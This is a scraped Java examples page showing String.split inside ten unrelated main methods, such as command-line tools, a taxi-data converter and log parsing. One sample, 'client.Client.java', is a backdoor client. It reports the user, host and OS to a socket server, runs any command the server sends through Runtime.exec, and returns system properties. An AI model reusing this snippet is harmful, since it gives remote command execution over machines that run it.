Example usage for java.lang String split

Introduction

In this page you can find the example usage for java.lang String split.

Prototype

public String[] split(String regex) 

Source Link

Document

Splits this string around matches of the given regular expression.

Usage

From source file:dk.netarkivet.harvester.tools.CreateIndex.java

/**
 * The main method that does the parsing of the commandline, and makes the actual index request.
 *
 * @param args the arguments/*from   w  w  w .  j  a va 2 s . c o  m*/
 */
public static void main(String[] args) {
    Options options = new Options();
    CommandLineParser parser = new PosixParser();
    CommandLine cmd = null;
    Option indexType = new Option("t", "type", true, "Type of index");
    Option jobList = new Option("l", "jobids", true, "list of jobids");
    indexType.setRequired(true);
    jobList.setRequired(true);
    options.addOption(indexType);
    options.addOption(jobList);

    try {
        // parse the command line arguments
        cmd = parser.parse(options, args);
    } catch (MissingOptionException e) {
        System.err.println("Some of the required parameters are missing: " + e.getMessage());
        dieWithUsage();
    } catch (ParseException exp) {
        System.err.println("Parsing of parameters failed: " + exp.getMessage());
        dieWithUsage();
    }

    String typeValue = cmd.getOptionValue(INDEXTYPE_OPTION);
    String jobidsValue = cmd.getOptionValue(JOBIDS_OPTION);
    String[] jobidsAsStrings = jobidsValue.split(",");
    Set<Long> jobIDs = new HashSet<Long>();
    for (String idAsString : jobidsAsStrings) {
        jobIDs.add(Long.valueOf(idAsString));
    }

    JobIndexCache cache = null;
    String indexTypeAstring = "";
    if (typeValue.equalsIgnoreCase("CDX")) {
        indexTypeAstring = "CDX";
        cache = IndexClientFactory.getCDXInstance();
    } else if (typeValue.equalsIgnoreCase("DEDUP")) {
        indexTypeAstring = "DEDUP";
        cache = IndexClientFactory.getDedupCrawllogInstance();
    } else if (typeValue.equalsIgnoreCase("CRAWLLOG")) {
        indexTypeAstring = "CRAWLLOG";
        cache = IndexClientFactory.getFullCrawllogInstance();
    } else {
        System.err.println("Unknown indextype '" + typeValue + "' requested.");
        dieWithUsage();
    }

    System.out.println("Creating " + indexTypeAstring + " index for ids: " + jobIDs);
    Index<Set<Long>> index = cache.getIndex(jobIDs);
    JMSConnectionFactory.getInstance().cleanup();
}

---

From source file:ReplacingStringTokenizer.java

public static void main(String[] args) {
    String input = "But I'm not dead yet! I feel happy!";
    StringTokenizer stoke = new StringTokenizer(input);
    while (stoke.hasMoreElements())
        System.out.println(stoke.nextToken());
    System.out.println(Arrays.asList(input.split(" ")));
}

---

From source file:com.aestel.chemistry.openEye.fp.DistMatrix.java

public static void main(String... args) throws IOException {
    long start = System.currentTimeMillis();

    // create command line Options object
    Options options = new Options();
    Option opt = new Option("i", true, "input file [.tsv from FingerPrinter]");
    opt.setRequired(true);/*from  w w  w .j  av  a 2 s  .  c  o m*/
    options.addOption(opt);

    opt = new Option("o", true, "outpur file [.tsv ");
    opt.setRequired(true);
    options.addOption(opt);

    CommandLineParser parser = new PosixParser();
    CommandLine cmd = null;
    try {
        cmd = parser.parse(options, args);
    } catch (Exception e) {
        System.err.println(e.getMessage());
        exitWithHelp(options);
    }
    args = cmd.getArgs();

    if (args.length != 0)
        exitWithHelp(options);

    String file = cmd.getOptionValue("i");
    BufferedReader in = new BufferedReader(new FileReader(file));

    file = cmd.getOptionValue("o");
    PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(file)));

    ArrayList<Fingerprint> fps = new ArrayList<Fingerprint>();
    ArrayList<String> ids = new ArrayList<String>();
    String line;
    while ((line = in.readLine()) != null) {
        String[] parts = line.split("\t");
        if (parts.length == 3) {
            ids.add(parts[0]);
            fps.add(new ByteFingerprint(parts[2]));
        }
    }
    in.close();

    out.print("ID");
    for (int i = 0; i < ids.size(); i++) {
        out.print('\t');
        out.print(ids.get(i));
    }
    out.println();

    for (int i = 0; i < ids.size(); i++) {
        out.print(ids.get(i));
        Fingerprint fp1 = fps.get(i);

        for (int j = 0; j <= i; j++) {
            out.printf("\t%.4g", fp1.tanimoto(fps.get(j)));
        }
        out.println();
    }
    out.close();

    System.err.printf("Done %d fingerprints in %.2gsec\n", fps.size(),
            (System.currentTimeMillis() - start) / 1000D);
}

---

From source file:org.springside.examples.oadata.service.ProjecgtRuleViewService.java

License:asdf

public static void main(String[] args) {

    String a = "123412341324*asdfasdfadsf";
    String[] asStrings = a.split("\\*");

    for (String string : asStrings) {
        System.out.println(string);
    }//from w ww.j a  va2s .  c o m
}

---

From source file:cloudclient.Client.java

public static void main(String[] args) throws Exception {
    //Command interpreter
    CommandLineInterface cmd = new CommandLineInterface(args);

    String socket = cmd.getOptionValue("s");
    String Host_IP = socket.split(":")[0];
    int Port = Integer.parseInt(socket.split(":")[1]);
    String workload = cmd.getOptionValue("w");

    try {/*from w w w.  ja  v a2  s.  c  om*/
        // make connection to server socket 
        Socket client = new Socket(Host_IP, Port);

        InputStream inStream = client.getInputStream();
        OutputStream outStream = client.getOutputStream();
        PrintWriter out = new PrintWriter(outStream, true);
        BufferedReader in = new BufferedReader(new InputStreamReader(inStream));

        System.out.println("Send tasks to server...");
        //Start clock
        long startTime = System.currentTimeMillis();

        //Batch sending tasks
        batchSendTask(out, workload);
        client.shutdownOutput();

        //Batch receive responses
        batchReceiveResp(in);

        //End clock
        long endTime = System.currentTimeMillis();
        double totalTime = (endTime - startTime) / 1e3;

        System.out.println("\nDone!");
        System.out.println("Time to execution = " + totalTime + " sec.");

        // close the socket connection
        client.close();

    } catch (IOException ioe) {
        System.err.println(ioe);
    }

}

---

From source file:cn.webank.ecif.index.server.EcifIndexServer.java

/**
 * @param args//from   w  w w.j  a v  a 2 s  . c  o  m
 */
public static void main(String[] args) {
    final EcifIndexServer server = new EcifIndexServer();
    // start spring context;
    final ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext();

    context.getEnvironment().setActiveProfiles("product");
    context.setConfigLocation("application.xml");
    context.refresh();
    context.start();

    // thread pool construct
    ThreadPoolTaskExecutor taskThreadPool = context.getBean("taskExecutor", ThreadPoolTaskExecutor.class);

    server.setTaskThreadPool(taskThreadPool);

    ExecutorService fixedThreadPool = context.getBean("fixedTaskExecutor", ExecutorService.class);

    server.setSchedulerThreadPool(fixedThreadPool);

    EcifThreadFactory threadFactory = context.getBean("cn.webank.ecif.index.async.EcifThreadFactory",
            EcifThreadFactory.class);

    server.setThreadFactory(threadFactory);

    Properties props = context.getBean("ecifProperties", java.util.Properties.class);

    WeBankServiceDispatcher serviceDispatcher = context.getBean(
            "cn.webank.framework.biz.service.support.WeBankServiceDispatcher", WeBankServiceDispatcher.class);

    ReloadableResourceBundleMessageSource bundleMessageSource = context.getBean("messageSource",
            ReloadableResourceBundleMessageSource.class);

    String topics = props.getProperty("listener.topics");
    String[] splits = topics.split(",");

    SolaceManager solaceManager = context.getBean("cn.webank.framework.message.SolaceManager",
            SolaceManager.class);
    MessageListener messageLisener = new MessageListener(
            // props.getProperty("listener.queue"),
            Arrays.asList(splits), Integer.parseInt(props.getProperty("listener.scanintervalseconds", "5")),
            taskThreadPool, Integer.parseInt(props.getProperty("listener.timeoutseconds", "5")),
            serviceDispatcher, solaceManager, bundleMessageSource);
    server.addListenerOnSchedule(messageLisener);

    // register shutdownhook
    Runtime.getRuntime().addShutdownHook(new Thread() {
        public void run() {
            try {
                // close resource
                if (context != null) {
                    context.close();
                }

            } catch (Exception e) {
                LOG.error("shutdown error", e);
            }
        }
    });

    // hold server
    try {
        LOG.info("ecif-index server start ok!");
        server.start();
    } catch (Exception e) {
        try {
            // close resource
            server.shutDown();
            if (context != null) {
                context.close();
            }

        } catch (Exception ex) {
            LOG.error("shutdown error", ex);
        }
    }

    LOG.info("ecif-index server stop !");
}

---

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*w  w w  . j a  va 2 s.c  o  m*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

---

From source file:cz.muni.fi.crocs.JeeTool.Main.java

/**
 * @param args the command line arguments
 *//*from w w  w. j  a v  a2s  .c  o  m*/
public static void main(String[] args) {
    System.out.println("JeeTool \n");

    checkDependencies();

    Options options = OptionsMain.createOptions();

    CommandLineParser parser = new DefaultParser();
    CommandLine cmd;
    try {
        cmd = parser.parse(options, args);
    } catch (ParseException ex) {
        System.err.println("cannot parse parameters");
        OptionsMain.printHelp(options);
        System.err.println(ex.toString());
        return;
    }
    boolean silent = cmd.hasOption("s");
    boolean verbose = cmd.hasOption("v");

    //help
    if (cmd.hasOption("h")) {
        OptionsMain.printHelp(options);
        return;
    }

    String filepath;
    //path to config list of nodes
    if (cmd.hasOption("a")) {
        filepath = cmd.getOptionValue("a");
    } else {
        filepath = "/opt/motePaths.txt";
    }

    //create motelist
    MoteList moteList = new MoteList(filepath);
    if (verbose) {
        moteList.setVerbose();
    }
    if (silent) {
        moteList.setSilent();
    }

    if (verbose) {
        System.out.println("reading motelist from file " + filepath);
    }

    if (cmd.hasOption("i")) {
        List<Integer> ids = new ArrayList<Integer>();
        String arg = cmd.getOptionValue("i");
        String[] IdArgs = arg.split(",");
        for (String s : IdArgs) {
            if (s.contains("-")) {
                int start = Integer.parseInt(s.substring(0, s.indexOf("-")));
                int end = Integer.parseInt(s.substring(s.indexOf("-") + 1, s.length()));
                for (int i = start; i <= end; i++) {
                    ids.add(i);
                }
            } else {
                ids.add(Integer.parseInt(s));
            }
        }
        moteList.setIds(ids);
    }

    moteList.readFile();

    if (cmd.hasOption("d")) {
        //only detect nodes
        return;
    }

    //if make
    if (cmd.hasOption("m") || cmd.hasOption("c") || cmd.hasOption("u")) {
        UploadMain upload = new UploadMain(moteList, cmd);
        upload.runMake();
    }
}

---

From source file:de.tum.i13.ConvertCsvToProtobuf.java

public static void main(String args[]) {
    try {//from   ww w.  ja v a  2s. c om
        LineIterator it = FileUtils.lineIterator(new File("/Users/manit/Projects/sdcbenchmark/Dataset/debscsv"),
                "UTF-8");
        FileOutputStream out = new FileOutputStream("/Users/manit/Projects/sdcbenchmark/Dataset/debsprotobuf",
                true);

        while (it.hasNext()) {

            String csvLine = (String) it.next();
            byte[] csvLineBytes = csvLine.getBytes();
            String line = new String(csvLineBytes, StandardCharsets.UTF_8);
            Debs2015Protos.Taxitrip.Builder builder = Debs2015Protos.Taxitrip.newBuilder();
            String[] splitted = line.split(",");

            builder.setMedallion(splitted[0]);
            builder.setHackLicense(splitted[1]);
            builder.setPickupDatetime(splitted[2]);
            builder.setDropoffDatetime(splitted[3]);
            builder.setTripTimeInSecs(Integer.parseInt(splitted[4]));
            builder.setTripDistance(Float.parseFloat(splitted[5]));
            builder.setPickupLongitude(Float.parseFloat(splitted[6]));
            builder.setPickupLatitude(Float.parseFloat(splitted[7]));
            builder.setDropoffLongitude(Float.parseFloat(splitted[8]));
            builder.setDropoffLatitude(Float.parseFloat(splitted[9]));
            builder.setPaymentType(splitted[10]);
            builder.setFareAmount(Float.parseFloat(splitted[11]));
            builder.setSurcharge(Float.parseFloat(splitted[12]));
            builder.setMtaTax(Float.parseFloat(splitted[13]));
            builder.setTipAmount(Float.parseFloat(splitted[14]));
            builder.setTollsAmount(Float.parseFloat(splitted[15]));
            builder.setTotalAmount(Float.parseFloat(splitted[16]));

            builder.build().writeDelimitedTo(out);
        }
        out.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

---

From source file:ReplayTest.java

public static void main(String[] args) throws IOException {

    int cnt = 0;/*w w  w .j  av  a 2s .  c om*/
    String operateTime = "";
    String operateType = "";
    String uuid = "";
    String programId = "";
    List<String> lines = Files.readLines(new File("e:\\test\\sample4.txt"), Charsets.UTF_8);
    System.out.println(lines.size());
    for (String value1 : lines) {
        String[] values = value1.split(SPLIT_T);
        //logArr16?operateDate=2014-04-25 17:59:59 621, operateType=STARTUP, deviceCode=010333501065233, versionId=, mac=10:48:b1:06:4d:23, platformId=00000032AmlogicMDZ-05-201302261821793, ipAddress=60.10.133.10
        if (values.length != 16) {
            continue;
        }
        String logContent = values[15];

        if (logContent == null || logContent.trim().length() <= 0) {
            System.out.println("logContent");
            return;
        }
        String[] contentArr = logContent.split(COMMA_SIGN);//content

        if (contentArr == null || contentArr.length != 3) {
            System.out.println("logContentArr:" + contentArr.length);
            return;
        }

        StringBuffer stringBuffer = new StringBuffer();

        //1.CNTVID??
        stringBuffer.append(StringsUtils.getEncodeingStr(values[3])).append(SPLIT);

        //2.IP?
        if (null == values[7] || EMPTY.equals(values[7])) {
            stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT);
        } else {
            stringBuffer.append(StringsUtils.getEncodeingStr(values[7].trim())).append(SPLIT);
        }

        //3.OperateTtype   ? 1: 2:?
        operateType = StringUtils.substringAfter(contentArr[0].trim(), EQUAL_SIGN);
        if (null == operateType || EMPTY.equals(operateType)) {
            stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT);
        } else if ("on".equals(operateType)) {
            stringBuffer.append(StringsUtils.getEncodeingStr("1")).append(SPLIT);
        } else if ("out".equals(operateType)) {
            stringBuffer.append(StringsUtils.getEncodeingStr("2")).append(SPLIT);
        }

        // 4.operateTime  ?
        operateTime = DateUtil.convertDateToString("yyyyMMdd HHmmss",
                DateUtil.convertStringToDate("yyyy-MM-dd HH:mm:ss SSS", values[10].trim()));
        if (operateTime == null || EMPTY.equals(operateTime)) {
            stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT);
        } else {
            stringBuffer.append(StringsUtils.getEncodeingStr(operateTime)).append(SPLIT);
        }
        //5.url_addr ?
        stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT);

        //6.channel?
        uuid = StringUtils.substringAfter(contentArr[1].trim(), EQUAL_SIGN);
        if (uuid == null || EMPTY.equals(uuid)) {
            stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT);
        } else {
            stringBuffer.append(StringsUtils.getEncodeingStr(uuid)).append(SPLIT);
        }

        //7.programId id
        programId = StringUtils.substringAfter(contentArr[2].trim(), EQUAL_SIGN);
        if (!programId.matches("\\d+")) { //id????
            return;
        } else {
            stringBuffer.append(StringsUtils.getEncodeingStr(programId)).append(SPLIT);
        }

        //8.EPGCode EPG?,?EPGCode?
        stringBuffer.append(StringsUtils.getEncodeingStr("06")).append(SPLIT);

        //9.DataSource??12
        stringBuffer.append(DATA_SOURCE).append(SPLIT);

        //10.Fsource???????
        stringBuffer.append(F_SOURCE).append(SPLIT);

        //11.resolution ?,?
        stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY));

        System.out.println(stringBuffer.toString());
        cnt++;
    }
    System.out.println(":" + cnt);
}

---

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